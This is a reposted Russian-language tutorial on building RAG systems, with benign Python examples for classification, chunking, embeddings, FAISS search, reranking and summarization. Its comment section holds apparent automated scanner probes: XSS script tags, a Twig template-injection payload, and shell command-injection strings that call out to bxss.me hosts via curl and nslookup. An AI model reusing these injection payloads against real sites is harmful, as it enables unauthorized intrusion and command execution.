Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9480 / Markets: 114837
Market Cap: $ 3 636 405 650 348 / 24h Vol: $ 110 726 802 101 / BTC Dominance: 58.759561666026%

Н Новости

  1. Главная
  2. Новости

Методы построения RAG систем

Процесс Retrieval-Augmented Generation (RAG) представляет собой довольно сложную систему, состоящую из множества компонентов. Вопрос о том, как определить существующие методы RAG и их оптимальные комбинации для выявления лучших практик, в настоящий момент остается наиболее актуальным. В этой статье я хочу поделиться своим опытом относительно реализации подходов и практик в области RAG систем, который реализует систематический подход к решению этой проблемы.

Типовые задачи процессов RAG систем

  • Классификация запросов,

  • Деление на фрагменты

  • Векторизация данных

  • Поиск,

  • Переранжирование,

  • Обобщение данных .

  • Генерация ответа

Каждый из этих этапов играет важную роль в обеспечении точности и эффективности системы. Например, классификация запросов помогает определить, нужно ли вообще выполнять поиск, что может значительно сократить время обработки. Переранжирование и переупаковка документов улучшают релевантность результатов, а обобщение помогает устранить избыточность и улучшить качество ответов.

На мой взгляд, ключевая сложность RAG заключается в том, что каждый этап требует тщательной настройки и выбора оптимальных методов. Например, как выбрать размер фрагментов для поиска? Какую эмбеддинг модель использовать? Эти вопросы требуют не только теоретического анализа, но и практических экспериментов.

Попробуем рассмотреть все этапы разработки участвующие в структуре обработке данных RAG систем

Типовая карта разработки RAG систем
Типовая карта разработки RAG систем

Как видно из визуализации необходимых шагов разработки, задачи делятся на три уровня уровень подготовки, обработки и классификации запроса, уровень подготовки, разделения, векторизации и хранения документов и уровень переранжирования, генерации и обобщения ответа. Схематично все этапы можно представить в виде схемы:

795191fdd1c90ee1e6576929d10862c9.png

Рассмотрим все этапы поочередно.

Классификация запросов

Классификация запросов — это первый шаг, который позволяет определить, нужен ли поиск вообще. Не все запросы требуют дополнительного поиска, особенно если LLM (Large Language Model) модель уже обладает достаточными знаниями. Например, если запрос основан исключительно на информации, предоставленной пользователем, поиск может быть излишним.

Определяем тип запроса:

  • Фактический поиск (например, «Сколько стоит построить дом?»)

  • Мнение или оценка («Что лучше кирпич или каркас?»)

  • Рассуждение или синтез информации («Где лучше выбирать землю для строительства»)

  • Личный или неформальный запрос («Как ты думаешь лучше построить дом или жить в квартире?»)

Выбираем стратегию поиска:

  • Если запрос требует фактической информации, задействуется поиск в базе знаний или векторный поиск.

  • Если запрос сложный, комбинируется несколько источников информации.

  • Если ответ можно дать без поиска, LLM модель отвечает напрямую.

Производим фильтрацию и модерацию:

  • Проверка на запрещённый контент, токсичность, конфиденциальные данные.

  • Обнаружение нерелевантных или потенциально вредных запросов.

Методы классификации запросов

  • Лингвистический анализ (разбор структуры предложения, ключевых слов).

  • ML-модели классификации (обученные на размеченных данных, например, BERT или GPT).

  • Правила и эвристики (например, наличие вопросительных слов или ключевых фраз).

Пример классификации запросов с использованием библиотеки transformers и модели BERT

import torch
from transformers import pipeline

# Загружаем предобученную модель для классификации
classifier = pipeline("zero-shot-classification", model="facebook/bart-large-mnli")

# Возможные классы запросов
labels = ["фактический поиск", "мнение", "рассуждение", "личный вопрос", "неопределённый"]

# Функция классификации запроса
def classify_query(query):
    result = classifier(query, candidate_labels=labels)
    return result["labels"][0], result["scores"][0]

# Примеры запросов
queries = [
    "Сколько стоит построить дом?",
    "Как ты думаешь, погрузчик лучше, чем экскаватор?",
    "Объясни принципы работы ДВС.",
    "Стоит ли мне переехать в другой город?",
    "Просто хочу поговорить."
]

# Классифицируем запросы
for query in queries:
    label, score = classify_query(query)
    print(f"Запрос: {query}\nКлассификация: {label} (уверенность: {score:.2f})\n")

Результат выполнения:

Запрос: Сколько стоит построить дом?
Классификация: фактический поиск (уверенность: 0.24)

Запрос: Как ты думаешь, погрузчик лучше, чем экскаватор?
Классификация: личный вопрос (уверенность: 0.28)

Запрос: Объясни принципы работы ДВС.
Классификация: рассуждение (уверенность: 0.34)

Запрос: Стоит ли мне переехать в другой город?
Классификация: мнение (уверенность: 0.30)

Запрос: Просто хочу поговорить.
Классификация: рассуждение (уверенность: 0.26)

На мой взгляд автоматизация этого процесса с помощью классификатора — это лучшее решение. Однако важно учитывать, что классификатор должен быть обучен на разнообразных данных, чтобы избежать ошибок в реальных сценариях.

Разделение на части

Разделение документов на фрагменты — это критически важный этап, который влияет на точность поиска. В основе лежит три уровня фрагментации: на уровне токенов, семантическая фрагментация и фрагментация на уровне предложений. На мой взгляд, фрагментация на уровне предложений является наиболее сбалансированным подходом, так как она сохраняет семантику текста, оставаясь при этом достаточно простой для реализации.

В RAG разделение документов на фрагменты (chunking) — один из кючевых этапов, который влияет на эффективность поиска и генерации ответов. В этом процессе определяется, какие части текста будут использоваться для векторного представления и поиска в дальнейшем.
Зачем делить?

  1. Что бы оптимизировать поиск, поскольку векторные поисковые системы ( FAISS, Chroma, Weaviate) работают эффективнее с короткими фрагментами.

  2. Чтобы снизить поисковый шум, поскольку при индексации слишком больших кусков текста, поиск может выдавать нерелевантные результаты.

  3. Чтобы обеспечить контекстную релевантность, поскольку разбиение помогает извлекать только нужную информацию и не перегружать LLM лишними данными. Как делить?

  4. Кусками фиксированными по размеру (Fixed-length chunking) Разделение текста на куски фиксированной длины, например, по 512 или 1024 токена. Плюсы: ✔ Простая реализация. ✔ Хорошо работает с длинными документами. Минусы: ✖ Может разделять связанный контекст. ✖ Потеря смысла при разрыве на границе.

  5. Семантическими кусками (Semantic chunking) Использует модели NLP (например, BERT) для разбиения по смысловым блокам (абзацы, заголовки, смысловые единицы). Плюсы: ✔ Сохраняет логическую целостность. ✔ Улучшает точность поиска. Минусы: ✖ Более сложная реализация. ✖ Может приводить к неравномерным размерам фрагментов.

  6. По структурным элементам (Structural chunking) Использует разбиение по логическим единицам документа (заголовки, списки, таблицы). Плюсы: ✔ Хорошо подходит для технических документов, статей и справочников. ✔ Сохраняет контекст. Минусы: ✖ Требует предварительной обработки документов. ✖ Не всегда применимо к неструктурированным данным.

Пример фиксированного разделения по 512 токенов

from transformers import AutoTokenizer

# Загружаем токенизатор (используем BERT)
tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")

def chunk_text(text, max_tokens=512):
    tokens = tokenizer.encode(text, add_special_tokens=False)
    chunks = [tokens[i:i+max_tokens] for i in range(0, len(tokens), max_tokens)]
    return [tokenizer.decode(chunk) for chunk in chunks]

# Тестовый текст
text = "Иску́сственный интелле́кт (англ. artificial intelligence; AI) в самом широком смысле — это интеллект, демонстрируемый машинами, в частности компьютерными системами. Это область исследований в области компьютерных наук, которая разрабатывает и изучает методы и программное обеспечение, позволяющие машинам воспринимать окружающую среду и использовать обучение и интеллект для выполнения действий, которые максимально увеличивают их шансы на достижение поставленных целей[1]. Такие машины можно назвать искусственным интеллектом. Некоторые из наиболее известных приложений искусственного интеллекта включают в себя передовые поисковые системы (например, Google Search, Bing, Яндекс); рекомендательные системы (используемые на YouTube, Amazon и Netflix); взаимодействие посредством человеческой речи (например, Google Assistant, Siri, Alexa, Алиса); автономные транспортные средства (например, Waymo); генеративные и творческие инструменты (например, ChatGPT, Apple Intelligence и искусство искусственного интеллекта); а также сверхчеловеческую игру и анализ в стратегических играх (например, шахматы и го). Однако многие приложения искусственного интеллекта не воспринимаются как искусственный интеллект: «Многие передовые разработки искусственного интеллекта проникли в общие приложения, часто не называясь искусственным интеллектом, потому что как только что-то становится достаточно полезным и достаточно распространённым, его больше не называют искусственным интеллектом»[2][3]. Алан Тьюринг был первым человеком, который провёл масштабные исследования в области, которую он назвал машинным интеллектом[4]. Искусственный интеллект был основан как академическая дисциплина в 1956 году[5] теми, кого сейчас считают отцами-основателями искусственного интеллекта: Джоном Маккарти, Марвином Мински, Натаниэлем Рочестером[англ.] и Клодом Шенноном[6][7]. Эта область пережила несколько циклов оптимизма[8], за которыми последовали периоды разочарования и потери финансирования, известные как зима искусственного интеллекта[9]. Финансирование и интерес значительно возросли после 2012 года, когда глубокое обучение превзошло все предыдущие методы искусственного интеллекта[10], а также после 2017 года с появлением архитектуры Transformer[11]. Это привело к буму искусственного интеллекта в начале 2020-х годов, когда компании, университеты и лаборатории, в подавляющем большинстве базирующиеся в Соединённых Штатах, стали пионерами значительных достижений в области искусственного интеллекта[12]. Растущее использование искусственного интеллекта в XXI веке влияет на общественный и экономический сдвиг в сторону большей автоматизации, принятия решений на основе данных и интеграции систем искусственного интеллекта в различные секторы экономики и сферы жизни, влияя на рынки труда, здравоохранение, государственное управление, промышленность, образование, пропаганду и дезинформацию. Это поднимает вопросы о долгосрочных эффектах, этических последствиях и рисках искусственного интеллекта, побуждая к обсуждениям о политике регулирования, направленной на обеспечение безопасности и преимуществ этой технологии. Различные направления исследований искусственного интеллекта сосредоточены вокруг определённых целей и использования определённых инструментов. Традиционные цели исследований искусственного интеллекта включают рассуждение, представление знаний, планирование, обучение, обработку естественного языка, восприятие и поддержку робототехники[13]. Общий интеллект, или же сильный, — способность выполнять любую задачу, которую может выполнить человек, по крайней мере на равном уровне — входит в число долгосрочных целей данной области[14]. Для достижения этих целей исследователи искусственного интеллекта адаптировали и интегрировали широкий спектр методов, включая поиск и математическую оптимизацию, формальную логику, искусственные нейронные сети, а также методы, основанные на статистике, исследовании операций и экономике[13]. Искусственный интеллект также опирается на психологию, лингвистику, философию, нейронауку и другие области[15]."

# Разбиваем на куски по 512 токенов
chunks = chunk_text(text)

for i, chunk in enumerate(chunks):
    print(f"Фрагмент {i+1}:\n{chunk}\n")

Результат выполнения:

Фрагмент 1: искусственный интеллект ( англ. artificial intelligence ; ai ) в самом широком смысле — это интеллект, демонстрируемыи машинами, в частности компьютерными системами. это область исследовании в области компьютерных наук, которая разрабатывает и изучает методы и программное обеспечение, позволяющие машинам воспринимать окружающую среду и использовать обучение и интеллект для выполнения деиствии, которые максимально увеличивают их шансы на достижение поставленных целеи [ 1 ]. такие машины можно назвать искусственным интеллектом. некоторые из наиболее известных приложении искусственного интеллекта включают в себя пере

Фрагмент 2: ##довые поисковые системы ( например, google search, bing, яндекс ) ; рекомендательные системы ( используемые на youtube, amazon и netflix ) ; взаимодействие посредством человеческой речи ( например, google assistant, siri, alexa, Алиса ) ; автономные транспортные средства ( например, waymo ) ; генеративные и творческие инструменты ( например, chatgpt, apple intelligence и искусство искусственного интеллекта ) ; а также сверхчеловеческую игру и анализ в стратегических играх ( например, шахматы и го ). однако многие приложения искусственного интеллекта не воспринимаются как искусственный интеллект: « многие передовые разработки искусственного интеллекта проникли в общие приложен

Фрагмент 3: ##ия, часто не называясь искусственным интеллектом, потому что как только что - то становится достаточно полезным и достаточно распространенным, его больше не называют искусственным интеллектом » [ 2 ] [ 3 ]. алан тьюринг был первым человеком, который провел масштабные исследования в области, которую он назвал машинным интеллектом [ 4 ]. искусственный интеллект был основан как академическая дисциплина в 1956 году [ 5 ] теми, кого сеичас считают отцами - основателями искусственного интеллекта : джоном маккарти, марвином мински, натаниэлем рочестером [ англ. ] и клодом шенноном [ 6 ] [ 7 ]. эта область пережила несколько цикл

Пример семантического разделения с использованием spaCy для разбиения текста на смысловые блоки:

import spacy

# Загружаем модель NLP
nlp = spacy.load("ru_core_news_sm")  

def semantic_chunking(text, max_sentences=3):
 
    doc = nlp(text)
    sentences = [sent.text for sent in doc.sents]
    
    # Группируем предложения по max_sentences
    chunks = []
    for i in range(0, len(sentences), max_sentences):
        chunk = " ".join(sentences[i:i+max_sentences])
        chunks.append(chunk)
    
    return chunks

# Пример текста
text = "Иску́сственный интелле́кт (англ. artificial intelligence; AI) в самом широком смысле — это интеллект, демонстрируемый машинами, в частности компьютерными системами. Это область исследований в области компьютерных наук, которая разрабатывает и изучает методы и программное обеспечение, позволяющие машинам воспринимать окружающую среду и использовать обучение и интеллект для выполнения действий, которые максимально увеличивают их шансы на достижение поставленных целей[1]. Такие машины можно назвать искусственным интеллектом. Некоторые из наиболее известных приложений искусственного интеллекта включают в себя передовые поисковые системы (например, Google Search, Bing, Яндекс); рекомендательные системы (используемые на YouTube, Amazon и Netflix); взаимодействие посредством человеческой речи (например, Google Assistant, Siri, Alexa, Алиса); автономные транспортные средства (например, Waymo); генеративные и творческие инструменты (например, ChatGPT, Apple Intelligence и искусство искусственного интеллекта); а также сверхчеловеческую игру и анализ в стратегических играх (например, шахматы и го). Однако многие приложения искусственного интеллекта не воспринимаются как искусственный интеллект: «Многие передовые разработки искусственного интеллекта проникли в общие приложения, часто не называясь искусственным интеллектом, потому что как только что-то становится достаточно полезным и достаточно распространённым, его больше не называют искусственным интеллектом»[2][3]. Алан Тьюринг был первым человеком, который провёл масштабные исследования в области, которую он назвал машинным интеллектом[4]. Искусственный интеллект был основан как академическая дисциплина в 1956 году[5] теми, кого сейчас считают отцами-основателями искусственного интеллекта: Джоном Маккарти, Марвином Мински, Натаниэлем Рочестером[англ.] и Клодом Шенноном[6][7]. Эта область пережила несколько циклов оптимизма[8], за которыми последовали периоды разочарования и потери финансирования, известные как зима искусственного интеллекта[9]. Финансирование и интерес значительно возросли после 2012 года, когда глубокое обучение превзошло все предыдущие методы искусственного интеллекта[10], а также после 2017 года с появлением архитектуры Transformer[11]. Это привело к буму искусственного интеллекта в начале 2020-х годов, когда компании, университеты и лаборатории, в подавляющем большинстве базирующиеся в Соединённых Штатах, стали пионерами значительных достижений в области искусственного интеллекта[12]. Растущее использование искусственного интеллекта в XXI веке влияет на общественный и экономический сдвиг в сторону большей автоматизации, принятия решений на основе данных и интеграции систем искусственного интеллекта в различные секторы экономики и сферы жизни, влияя на рынки труда, здравоохранение, государственное управление, промышленность, образование, пропаганду и дезинформацию. Это поднимает вопросы о долгосрочных эффектах, этических последствиях и рисках искусственного интеллекта, побуждая к обсуждениям о политике регулирования, направленной на обеспечение безопасности и преимуществ этой технологии. Различные направления исследований искусственного интеллекта сосредоточены вокруг определённых целей и использования определённых инструментов. Традиционные цели исследований искусственного интеллекта включают рассуждение, представление знаний, планирование, обучение, обработку естественного языка, восприятие и поддержку робототехники[13]. Общий интеллект, или же сильный, — способность выполнять любую задачу, которую может выполнить человек, по крайней мере на равном уровне — входит в число долгосрочных целей данной области[14]. Для достижения этих целей исследователи искусственного интеллекта адаптировали и интегрировали широкий спектр методов, включая поиск и математическую оптимизацию, формальную логику, искусственные нейронные сети, а также методы, основанные на статистике, исследовании операций и экономике[13]. Искусственный интеллект также опирается на психологию, лингвистику, философию, нейронауку и другие области[15]."


# Разделяем на семантические фрагменты
chunks = semantic_chunking(text)

# Вывод результатов
for i, chunk in enumerate(chunks):
    print(f"🔹 Фрагмент {i+1}:\n{chunk}\n")

Результат выполнения:

Фрагмент 1:
Иску́сственный интелле́кт (англ. artificial intelligence; AI) в самом широком смысле — это интеллект, демонстрируемый машинами, в частности компьютерными системами. Это область исследований в области компьютерных наук, которая разрабатывает и изучает методы и программное обеспечение, позволяющие машинам воспринимать окружающую среду и использовать обучение и интеллект для выполнения действий, которые максимально увеличивают их шансы на достижение поставленных целей[1]. Такие машины можно назвать искусственным интеллектом.

Фрагмент 2:
Некоторые из наиболее известных приложений искусственного интеллекта включают в себя передовые поисковые системы (например, Google Search, Bing, Яндекс); рекомендательные системы (используемые на YouTube, Amazon и Netflix); взаимодействие посредством человеческой речи (например, Google Assistant, Siri, Alexa, Алиса); автономные транспортные средства (например, Waymo); генеративные и творческие инструменты (например, ChatGPT, Apple Intelligence и искусство искусственного интеллекта); а также сверхчеловеческую игру и анализ в стратегических играх (например, шахматы и го). Однако многие приложения искусственного интеллекта не воспринимаются как искусственный интеллект: «Многие передовые разработки искусственного интеллекта проникли в общие приложения, часто не называясь искусственным интеллектом, потому что как только что-то становится достаточно полезным и достаточно распространённым, его больше не называют искусственным интеллектом»[2][3]. Алан Тьюринг был первым человеком, который провёл масштабные исследования в области, которую он назвал машинным интеллектом[4].

Фрагмент 3:
Искусственный интеллект был основан как академическая дисциплина в 1956 году[5] теми, кого сейчас считают отцами-основателями искусственного интеллекта: Джоном Маккарти, Марвином Мински, Натаниэлем Рочестером[англ.] и Клодом Шенноном[6][7]. Эта область пережила несколько циклов оптимизма[8], за которыми последовали периоды разочарования и потери финансирования, известные как зима искусственного интеллекта[9]. Финансирование и интерес значительно возросли после 2012 года, когда глубокое обучение превзошло все предыдущие методы искусственного интеллекта[10], а также после 2017 года с появлением архитектуры Transformer[11].

Разделение на фрагменты, критически влияет на качество поиска и генерации. Выбор стратегии зависит от типа документов и задач системы.

  • Фиксированные размеры — подходят для больших текстов.

  • Семантическое разбиение — даёт более осмысленные куски.

  • Структурное разбиение — полезно для технических данных. Лучший подход — комбинировать методы в зависимости от контекста!

Выбираем эмбеддинг модель

Embedding модель выполняет основную функцию в поиске релевантных документов. Опыт показывает, что важно сочетать высокую производительность с небольшим размером модели. Важно также отметить, что выбор модели может зависеть от конкретной задачи и доступных ресурсов.

Как это работает?

Модель преобразует текст в многомерное векторное представление. Эти векторы затем используются для поиска похожих фрагментов в базе данных.

При выборе модели важно определить:

Язык и специфику текстовых данных(домен)

  • Если система работает на английском → OpenAI ada-002, BGE, SBERT

  • Для русского → DeepPavlov/RuBERT, sbert_large_nlu_ru

  • Для кодовых или медицинских данных → CodeBERT, BioBERT

Оптимальный размер векторов и скорость

  • Короткие вектора (384–512) быстрее, но менее точны.

  • Длинные вектора (1024+) дают точный поиск, но требуют больше памяти.

Способность к извлечению смысловых связей

  • Косинусное сходство лучше работает с SBERT, BGE

  • Для длинных текстов лучше подходят E5 или Cohere

Совместимость с базами данных

  • Если используется FAISS/Chroma → SBERT, BGE, ada-002

  • Если используется Milvus/Weaviate → OpenAI, Cohere

Сравнительная таблица моделей векторного представления
Сравнительная таблица моделей векторного представления

Пример векторизации данных

from sentence_transformers import SentenceTransformer

# Загружаем модель
model = SentenceTransformer("sentence-transformers/all-MiniLM-L6-v2")

# Примеры фрагментов текста
texts = [
    "RAG использует внешнюю базу знаний для генерации ответов.",
    "Модели встраивания помогают искать релевантную информацию.",
    "Глубокие нейронные сети улучшают обработку естественного языка."
]

# Встраиваем текст в вектора
embeddings = model.encode(texts)

# Выводим размер вектора
print(f"Размер вектора: {len(embeddings[0])}")
print(f"Пример вектора: {embeddings[0][:5]}")  # Выведем первые 5 значений

Результат выполнения:

Размер вектора: 384

Пример вектора: [-0.00326376 0.07672146 0.01198601 -0.01142005 -0.04499646]

Выбираем векторную базу данных

Поскольку векторная база данных отвечает за хранение и быстрый поиск релевантных фрагментов информации. Выбор подходящей базы данных влияет на скорость работы, точность поиска и масштабируемость системы.

З что отвечает векторная база данных?

  • Хранение текстовых фрагментов в виде многомерных векторов.

  • Поиск наиболее похожих векторов по запросу.

  • Использование индексов для быстрого поиска (ANN — Approximate Nearest Neighbors).

Я постарался выделить основные критерии при выборе

  1. Размер данных и масштабируемость Небольшой обьем данных → FAISS, Chroma Если нужен масштабируемый поиск → Weaviate, Milvus, Qdrant

  2. Скорость поиска Если важна быстрая обработка → FAISS, ScaNN (Google) Если важен онлайн-доступ и REST API → Weaviate, Pinecone

  3. Поддержка гибридного поиска (векторный + классический full-text) Weaviate, Qdrant, Vespa позволяют комбинировать векторный и текстовый поиск.

  4. Простота интеграции FAISS, Chroma — легко использовать в Python. Pinecone, Weaviate, Qdrant — удобны для облачных решений.

Сравнительная таблица векторных баз данных
Сравнительная таблица векторных баз данных

Пример поиска схожих векторов

import faiss
import numpy as np
from sentence_transformers import SentenceTransformer

# Загружаем модель встраивания
model = SentenceTransformer("all-MiniLM-L6-v2")

# Исходные текстовые фрагменты
texts = [
    "Как работает RAG?",
    "Векторные базы данных хранят embeddings.",
    "Машинное обучение улучшает поиск информации.",
    "Глубокие нейросети используются в NLP."
]

# Преобразуем текст в векторы
embeddings = model.encode(texts)
dimension = embeddings.shape[1]  # Определяем размерность векторов

# Создаём индекс FAISS
index = faiss.IndexFlatL2(dimension)
index.add(np.array(embeddings))  # Добавляем векторы в базу

# Запрос (тоже преобразуем в вектор)
query = "Как работают векторные базы?"
query_embedding = model.encode([query])

# Ищем 2 ближайших вектора
D, I = index.search(np.array(query_embedding), k=2)

# Выводим результаты
print("Найденные фрагменты:")
for idx in I[0]:
    print(f"- {texts[idx]}")

Результат выполнения:

Найденные фрагменты:

  • Как работает RAG?

  • Машинное обучение улучшает поиск информации.

Организуем Поиск и переранжирование

Методы поиска, такие как генерация запросов, значительно улучшают релевантность результатов. Однако хочу отметить, что эти методы могут быть ресурсоемкими, что важно учитывать в реальных приложениях.

  1. Поиск (Retrieval) На этом этапе система выполняет векторный поиск или гибридный поиск (комбинация векторного и классического текстового поиска).

Методы поиска:

  • Векторный поиск (ANN – Approximate Nearest Neighbors): сравнение эмбеддингов запроса и базы (FAISS, Weaviate, Pinecone).

  • Классический поиск (BM25): поиск по ключевым словам (Elasticsearch, Weaviate, Qdrant).
    Гибридный поиск (BM25 + ANN): объединение двух методов для повышения точности.

  1. Переранжирование (Re-ranking) После поиска полученные документы ранжируются по релевантности. Простые методы (BM25) могут возвращать нерелевантные результаты, поэтому используется доранжировка (re-ranking) с помощью нейросетей.

Модели ранжирования:

  • Cross-Encoder (SBERT) – дообученная модель для определения наиболее релевантных фрагментов.

  • Cohere Rerank – облачная модель для улучшения поиска.

  • OpenAI reranking (GPT) – доранжировка с помощью GPT.

Сравнение подходов к поиску и ранжированию
Сравнение подходов к поиску и ранжированию

Пример поиска и переранжирования

import faiss
import numpy as np
from sentence_transformers import SentenceTransformer, CrossEncoder

# Загружаем модели
retrieval_model = SentenceTransformer("all-MiniLM-L6-v2")  # Для поиска
reranker = CrossEncoder("cross-encoder/ms-marco-MiniLM-L-6-v2")  # Для переранжирования


# Исходные текстовые фрагменты
documents = [
    "LLM могут генерировать ответы на основе найденных данных.",
    "Поиск информации возможен через BM25 и векторный поиск.",
    "Глубокие нейросети помогают анализировать текст.",
    "RAG использует векторные базы данных для поиска."
]

# Преобразуем документы в эмбеддинги
doc_embeddings = retrieval_model.encode(documents)
dimension = doc_embeddings.shape[1]

# Создаём FAISS индекс
index = faiss.IndexFlatL2(dimension)
index.add(np.array(doc_embeddings))

# Запрос пользователя
query = "Как работает поиск в RAG?"
query_embedding = retrieval_model.encode([query])

# Поиск 3 ближайших фрагментов
D, I = index.search(np.array(query_embedding), k=3)
retrieved_docs = [documents[idx] for idx in I[0]]

# Переранжировка найденных документов
scores = reranker.predict([(query, doc) for doc in retrieved_docs])
ranked_docs = [doc for _, doc in sorted(zip(scores, retrieved_docs), reverse=True)]

# Вывод результатов
print("Найденные документы (после переранжировки):")
for doc in ranked_docs:
    print(f"- {doc}")

Пример выполнения:

Найденные документы (после переранжировки):

RAG использует векторные базы данных для поиска.

Поиск информации возможен через BM25 и векторный поиск.

Глубокие нейросети помогают анализировать текст.

Реализуем резюмирование и генерацию ответа

Резюмирование извлеченных документов — это этап, который помогает устранить избыточность и улучшить качество ответов. Рекомендуется сочетать экстрактивные и генеративные подходы, такой подход обеспечивает высокую точность и эффективность.

После того, как система извлекла фрагменты из нашей базы знаний и провела их ранжирование, следует обработка текста для выделения ключевых идей:

В процессе обработки данных происходит удаление несущественных деталей: Например, могут быть убраны лишние слова или избыточная информация, не влияющая на ответ. Также может быть выполнено предобразование текста, что может включать переформулировку или упрощение фрагментов, чтобы сделать информацию более доступной для восприятия

Далее с помощью Подготовка контекста для генерации:
После извлечения релевантных документов и фрагментов, эти данные формируют контекст, который используется для генерации ответа.

Контекст включает как информацию из извлеченных документов, так и сам запрос пользователя. Важно, чтобы система правильно сопоставила запрос с нужными фрагментами из документов.

В некоторых случаях этот контекст дополнительно структурируется или очищается, чтобы исключить лишние или неподобающие данные, которые могут мешать генерации.генеративных моделей создается ответ на основе обработанных фрагментов.

Генеративная модель может взять информацию из множества фрагментов и «сжать» её в лаконичный и точный ответ. Лучше всего для таких задачподходят те модели , которые способны связно генерировать текст на основе предоставленного контекста. Также модели могут использовать механизмы внимания (attention) для «запоминания» ключевых частей контекста, необходимого для корректного ответа.

Последним частью обобщения является согласование. Важно, чтобы все данные в ответе были логично скомбинированы и не противоречили друг другу. Реализация должна отвечать принципам референтности, когда модели должны следить, чтобы ссылки на факты были точными, а также согласованности, когда ответ должен быть логично выстроен, чтобы не происходило резких скачков мыслей.

Модели для резюмирования в RAG-системах

T5 (Text-to-Text Transfer Transformer) - Модель, которая обучена на множестве текстовых задач и может выполнять задачи генерации текста, включая резюмирование.
Хорошо подходит для генерации резюме текста и формирования сжато сформулированного ответа.

BART (Bidirectional and Auto-Regressive Transformers) - Модель для сжимающего и абстрактного резюмирования. Работает как энкодер-декодер, извлекая информацию из текста и генерируя логичный, сжато изложенный ответ.

Преимущество следует отдавать моделям способным генерировать ответы с использованием предоставленного контекста. Например GPT Они могут не только осуществлять резюмирование, но и выполнять сложные генеративные задачи, включая диалоговые интерфейсы.

Пример простой суммаризации

from transformers import pipeline

# Загружаем модель для резюмирования (BART)
summarizer = pipeline("summarization", model="sberbank-ai/rugpt3small_sum")

# Пример текста
text = """
В Retrieval-Augmented Generation (RAG) используется две ключевые технологии: извлечение информации и генерация ответа. 
Система сначала находит релевантные фрагменты из базы данных, а затем генерирует на основе этих фрагментов связанный ответ. 
Процесс резюмирования помогает сделать ответы более лаконичными, снижая объем ненужной информации и представляя только основные факты.
"""

# Генерация резюме
summary = summarizer(text, max_length=50, min_length=25, do_sample=False)

# Вывод резюме
print("Обобщенный  текст:", summary[0]['summary_text'])

Результат выполенния:

Обобщенный текст: В Retrieval-Augmented Generation (RAG) используется извлечение информации и генерация ответа. Резюмирование помогает снизить объем информации и представить только основные факты.

При выборе стратегий резюмирования в RAG-системах следует опираться на их особенности, при использовании сжимающего резюмирования (Extractive Summarization) система выбирает существенные фрагменты из исходного текста, не изменяя их, и объединяет их для формирования ответа. Такой подход проще, но ограничивает гибкость.

В случае применения абстрактного резюмирование (Abstractive Summarization) модель переформулирует исходные данные своими словами, что дает больше гибкости и возможность создавать более связные и логичные ответы. Это сложнее, но результат часто более точен и полезен.

Выбор стратегий построения RAG систем лежит между максиамльной производительностью включает все модули для достижения максимальной точности и сбалансировной эффективностью, данная стратегия оптимизирует производительность и эффективность, исключая некоторые ресурсоемкие методы.

На мой взгляд, выбор стратегии зависит от конкретных требований проекта. Например, если важна скорость обработки, можно пожертвовать некоторой точностью ради эффективности. Однако в задачах, где точность критически важна, лучше использовать все модули.

В этой статье я обратил внимание на несколько важных идей:

  1. Важность построения модульной конструкции: Оптимизация каждого компонента по отдельности позволяет создавать гибкие и легко настраиваемые системы. Это особенно важно в сложных проектах, где требования могут меняться со временем.

  2. Систематический подход к практической реализации: приведённый опыт демонстрирует, как тщательное тестирование на общепризнанных наборах данных может обеспечить надежность результатов. Данные примеры реализации могут пригодится, при выборе и анализе реализации этапов RAG .

  3. Существующие практические ограничения: Несмотря на все преимущества RAG, существуют проблемы, такие как обобщение на частные данные, производительность в реальном времени и интеграция многомодальных данных. Эти вопросы требуют дополнительного изучения при построении подобных систем .

На мой взгляд предложенные методы и стратегии могут значительно улучшить качество и эффективность систем RAG. Однако важно помнить, что каждая задача уникальна, и успешное внедрение RAG требует не только следования лучшим практикам, но и адаптации к конкретным условиям.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

